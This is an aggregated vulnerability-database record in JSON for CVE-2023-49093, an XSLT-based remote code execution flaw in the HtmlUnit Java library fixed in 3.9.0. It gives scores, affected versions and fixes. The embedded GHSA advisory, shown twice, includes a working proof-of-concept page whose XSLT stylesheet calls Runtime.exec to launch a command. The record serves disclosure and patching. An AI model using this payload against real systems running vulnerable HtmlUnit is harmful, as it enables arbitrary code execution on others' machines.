{"id":"CVE-2023-49093","aliases":["EUVD-2023-3079","GHSA-37vq-hr2f-g7h7","UBUNTU-CVE-2023-49093","USN-8220-1"],"status":"published","title":"HtmlUnit vulnerable to Remote Code Execution (RCE) via XSTL","description":"HtmlUnit is a GUI-less browser for Java programs. HtmlUnit is vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker’s webpage. This vulnerability has been patched in version 3.9.0","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.02358,"percentile":0.83897,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-94"],"published":"2023-12-04T04:47:27Z","modified":"2026-10-28T02:31:03Z","fixes":[{"ecosystem":"Maven","package":"org.htmlunit:htmlunit","fixed_in":["3.9.0"],"sources":["ghsa","osv"]},{"ecosystem":"Ubuntu:Pro:16.04:LTS","package":"htmlunit","fixed_in":["2.8-1ubuntu2.1+esm1"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:18.04:LTS","package":"htmlunit","fixed_in":["2.8-3ubuntu1+esm1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Maven","package":"org.htmlunit:htmlunit","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.0"}]}]},{"source":"osv","ecosystem":"Maven","package":"org.htmlunit:htmlunit","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.0"}]}],"versions":["3.0.0","3.1.0","3.2.0","3.3.0","3.4.0","3.5.0","3.6.0","3.7.0","3.8.0"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"htmlunit","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.8-1ubuntu2.1+esm1"}]}],"versions":["2.8-1ubuntu2","2.8-1ubuntu2.1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"htmlunit","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.8-3ubuntu1+esm1"}]}],"versions":["2.8-2ubuntu1","2.8-3ubuntu1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"htmlunit","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.8-1ubuntu2.1+esm1"}]}],"versions":["2.8-1ubuntu2","2.8-1ubuntu2.1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"htmlunit","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.8-3ubuntu1+esm1"}]}],"versions":["2.8-2ubuntu1","2.8-3ubuntu1"]}],"products":[{"vendor":"htmlunit","product":"htmlunit"}],"references":[{"url":"https://github.com/HtmlUnit/htmlunit/security/advisories/GHSA-37vq-hr2f-g7h7","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Vendor Advisory","advisory","web","report"]},{"url":"https://www.htmlunit.org/changes-report.html#a3.9.0","tags":["x_refsource_MISC","x_transferred","Release Notes","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-49093","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-37vq-hr2f-g7h7"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/49xxx/CVE-2023-49093.json","tags":["advisory"]},{"url":"https://github.com/HtmlUnit/htmlunit","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2023-49093","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2023-49093","tags":["report"]},{"url":"https://ubuntu.com/security/notices/USN-8220-1","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2023-49093","title":"HtmlUnit vulnerable to Remote Code Execution (RCE) via XSTL","description":"HtmlUnit is a GUI-less browser for Java programs. HtmlUnit is vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker’s webpage. This vulnerability has been patched in version 3.9.0","status":"published","published":"2023-12-04T04:47:27.145Z","modified":"2024-10-10T20:14:07.25Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:35:12.596526Z"}],"euvd":[{"id":"EUVD-2023-3079","description":"HtmlUnit is a GUI-less browser for Java programs. HtmlUnit is vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker’s webpage. This vulnerability has been patched in version 3.9.0","status":"published","published":"2023-12-04T04:47:27Z","modified":"2024-10-10T20:14:07Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-03T00:27:39.67018Z"}],"ghsa":[{"id":"GHSA-37vq-hr2f-g7h7","title":"HtmlUnit vulnerable to Remote Code Execution (RCE) via XSTL","description":"### Summary\nHtmlUnit 3.8.0 are vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker’s webpage\n\n### Details\nVulnerability code location:\norg.htmlunit.activex.javascript.msxml.XSLProcessor#transform(org.htmlunit.activex.javascript.msxml.XMLDOMNode)\n\nThe reason for the vulnerability is that it was not enabled FEATURE_SECURE_PROCESSING for the XSLT processor\n\n### PoC\npom.xml:\n```\n\u003cdependency\u003e\n  \u003cgroupId\u003eorg.htmlunit\u003c/groupId\u003e\n  \u003cartifactId\u003ehtmlunit\u003c/artifactId\u003e\n  \u003cversion\u003e3.8.0\u003c/version\u003e\n\u003c/dependency\u003e\n```\n\ncode:\n```\nWebClient webClient = new WebClient(BrowserVersion.INTERNET_EXPLORER);\nHtmlPage page = webClient.getPage(\"http://127.0.0.1:8080/test.html\");\nSystem.out.println(page.asNormalizedText());\n```\n\ntest.html:\n```\n\u003cscript\u003e\n    var xslt = new ActiveXObject(\"Msxml2.XSLTemplate.6.0\");\n    var xslDoc = new ActiveXObject(\"Msxml2.FreeThreadedDOMDocument.6.0\");\n    var xslProc;\n    xslDoc.async = false;\n    xslDoc.loadXML(`\u003cxsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:rt=\"http://xml.apache.org/xalan/java/java.lang.Runtime\" xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\"\u003e\n   \u003cxsl:template match=\"/\"\u003e\n     \u003cxsl:variable name=\"rtobject\" select=\"rt:getRuntime()\"/\u003e\n     \u003cxsl:variable name=\"process\" select=\"rt:exec($rtobject,'open -a Calculator')\"/\u003e\n     \u003cxsl:variable name=\"processString\" select=\"ob:toString($process)\"/\u003e\n     \u003cspan\u003e\u003cxsl:value-of select=\"$processString\"/\u003e\u003c/span\u003e\n   \u003c/xsl:template\u003e\n \u003c/xsl:stylesheet\u003e`)\n\n    if (xslDoc.parseError.errorCode != 0) {\n        var myErr = xslDoc.parseError;\n        document.write(\"ParseError: \"+myErr.reason);\n    } else {\n        xslt.stylesheet = xslDoc;\n        var xmlDoc = new ActiveXObject(\"Msxml2.DOMDocument.6.0\");\n        xmlDoc.async = false;\n        xmlDoc.loadXML(\"\u003cs\u003e\u003c/s\u003e\");\n        if (xmlDoc.parseError.errorCode != 0) {\n            var myErr = xmlDoc.parseError;\n            document.write(\"Document error: \" + myErr.reason);\n        } else {\n            xslProc = xslt.createProcessor();\n            xslProc.input = xmlDoc;\n            xslProc.transform();\n            document.write(xslProc.output);\n        }\n    }\n\u003c/script\u003e\n```\n\n\n### Impact\nRemote Code Execution","status":"published","published":"2023-12-04T23:13:30Z","modified":"2023-12-04T23:13:36Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:37:23.843848Z"}],"nvd":[{"id":"CVE-2023-49093","description":"HtmlUnit is a GUI-less browser for Java programs. HtmlUnit is vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker’s webpage. This vulnerability has been patched in version 3.9.0","status":"published","published":"2023-12-04T05:15:07.43Z","modified":"2026-06-17T06:35:21.113Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:08:52.544469Z"}],"osv":[{"id":"CVE-2023-49093","title":"HtmlUnit vulnerable to Remote Code Execution (RCE) via XSTL","description":"HtmlUnit is a GUI-less browser for Java programs. HtmlUnit is vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker’s webpage. This vulnerability has been patched in version 3.9.0","status":"published","published":"2023-12-04T04:47:27.145Z","modified":"2026-10-28T02:31:03.306968423Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:44:34.72355Z"},{"id":"GHSA-37vq-hr2f-g7h7","title":"HtmlUnit vulnerable to Remote Code Execution (RCE) via XSTL","description":"### Summary\nHtmlUnit 3.8.0 are vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker’s webpage\n\n### Details\nVulnerability code location:\norg.htmlunit.activex.javascript.msxml.XSLProcessor#transform(org.htmlunit.activex.javascript.msxml.XMLDOMNode)\n\nThe reason for the vulnerability is that it was not enabled FEATURE_SECURE_PROCESSING for the XSLT processor\n\n### PoC\npom.xml:\n```\n\u003cdependency\u003e\n  \u003cgroupId\u003eorg.htmlunit\u003c/groupId\u003e\n  \u003cartifactId\u003ehtmlunit\u003c/artifactId\u003e\n  \u003cversion\u003e3.8.0\u003c/version\u003e\n\u003c/dependency\u003e\n```\n\ncode:\n```\nWebClient webClient = new WebClient(BrowserVersion.INTERNET_EXPLORER);\nHtmlPage page = webClient.getPage(\"http://127.0.0.1:8080/test.html\");\nSystem.out.println(page.asNormalizedText());\n```\n\ntest.html:\n```\n\u003cscript\u003e\n    var xslt = new ActiveXObject(\"Msxml2.XSLTemplate.6.0\");\n    var xslDoc = new ActiveXObject(\"Msxml2.FreeThreadedDOMDocument.6.0\");\n    var xslProc;\n    xslDoc.async = false;\n    xslDoc.loadXML(`\u003cxsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:rt=\"http://xml.apache.org/xalan/java/java.lang.Runtime\" xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\"\u003e\n   \u003cxsl:template match=\"/\"\u003e\n     \u003cxsl:variable name=\"rtobject\" select=\"rt:getRuntime()\"/\u003e\n     \u003cxsl:variable name=\"process\" select=\"rt:exec($rtobject,'open -a Calculator')\"/\u003e\n     \u003cxsl:variable name=\"processString\" select=\"ob:toString($process)\"/\u003e\n     \u003cspan\u003e\u003cxsl:value-of select=\"$processString\"/\u003e\u003c/span\u003e\n   \u003c/xsl:template\u003e\n \u003c/xsl:stylesheet\u003e`)\n\n    if (xslDoc.parseError.errorCode != 0) {\n        var myErr = xslDoc.parseError;\n        document.write(\"ParseError: \"+myErr.reason);\n    } else {\n        xslt.stylesheet = xslDoc;\n        var xmlDoc = new ActiveXObject(\"Msxml2.DOMDocument.6.0\");\n        xmlDoc.async = false;\n        xmlDoc.loadXML(\"\u003cs\u003e\u003c/s\u003e\");\n        if (xmlDoc.parseError.errorCode != 0) {\n            var myErr = xmlDoc.parseError;\n            document.write(\"Document error: \" + myErr.reason);\n        } else {\n            xslProc = xslt.createProcessor();\n            xslProc.input = xmlDoc;\n            xslProc.transform();\n            document.write(xslProc.output);\n        }\n    }\n\u003c/script\u003e\n```\n\n\n### Impact\nRemote Code Execution","status":"published","published":"2023-12-04T23:13:30Z","modified":"2026-09-10T03:49:59.262947324Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:35.406455Z"},{"id":"UBUNTU-CVE-2023-49093","description":"HtmlUnit is a GUI-less browser for Java programs. HtmlUnit is vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker’s webpage. This vulnerability has been patched in version 3.9.0","status":"published","published":"2023-12-04T05:15:00Z","modified":"2026-05-08T12:42:47.73086Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T16:54:23.935133Z"},{"id":"USN-8220-1","title":"htmlunit vulnerability","description":"It was discovered that HtmlUnit was vulnerable to remote code execution\nvia XSLT when browsing an attacker-controlled webpage. An attacker could possibly use\nthis issue to execute arbitrary code in the context of the application using HtmlUnit.","status":"published","published":"2026-05-05T21:05:21Z","modified":"2026-06-25T13:32:31.97001756Z","updated_at":"2026-11-02T16:58:22.951676Z"}]}}